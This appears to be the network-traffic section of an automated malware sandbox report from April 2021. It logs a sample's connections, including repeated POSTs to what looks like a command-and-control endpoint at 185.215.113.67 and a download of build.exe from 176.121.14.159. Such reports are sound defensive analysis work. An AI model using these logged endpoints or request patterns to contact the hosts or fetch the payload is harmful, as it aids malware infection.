Network Analysis
Name | Response | Post-Analysis Lookup |
---|---|---|
api.faceit.com | 104.17.63.50 |
- TCP Requests
-
-
192.168.56.101:49224 104.17.62.50:443api.faceit.com
-
192.168.56.101:49225 104.17.62.50:443api.faceit.com
-
192.168.56.101:49226 104.17.62.50:443api.faceit.com
-
192.168.56.101:49211 176.121.14.159:80
-
192.168.56.101:49210 185.215.113.67:80
-
192.168.56.101:49223 185.215.113.67:80
-
192.168.56.101:49228 185.215.113.67:80
-
- UDP Requests
-
-
192.168.56.101:59369 164.124.101.2:53
-
192.168.56.101:61479 164.124.101.2:53
-
192.168.56.101:62324 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:49152 239.255.255.250:3702
-
192.168.56.101:62445 239.255.255.250:1900
-
192.168.56.101:62447 239.255.255.250:3702
-
192.168.56.101:62449 239.255.255.250:3702
-
POST
200
http://185.215.113.67/4dcYcWsw3/index.php
REQUEST
RESPONSE
BODY
POST /4dcYcWsw3/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 185.215.113.67
Content-Length: 85
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 09:29:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 48
Content-Type: text/html; charset=UTF-8
GET
200
http://176.121.14.159/build.exe
REQUEST
RESPONSE
BODY
GET /build.exe HTTP/1.1
Host: 176.121.14.159
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 09:29:35 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Last-Modified: Fri, 23 Apr 2021 09:20:02 GMT
ETag: "98800-5c0a04cfb6b2e"
Accept-Ranges: bytes
Content-Length: 624640
Content-Type: application/octet-stream
POST
200
http://185.215.113.67/4dcYcWsw3/index.php
REQUEST
RESPONSE
BODY
POST /4dcYcWsw3/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 185.215.113.67
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 09:31:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
POST
200
http://185.215.113.67/4dcYcWsw3/index.php
REQUEST
RESPONSE
BODY
POST /4dcYcWsw3/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 185.215.113.67
Content-Length: 85
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 09:32:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 6
Content-Type: text/html; charset=UTF-8
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts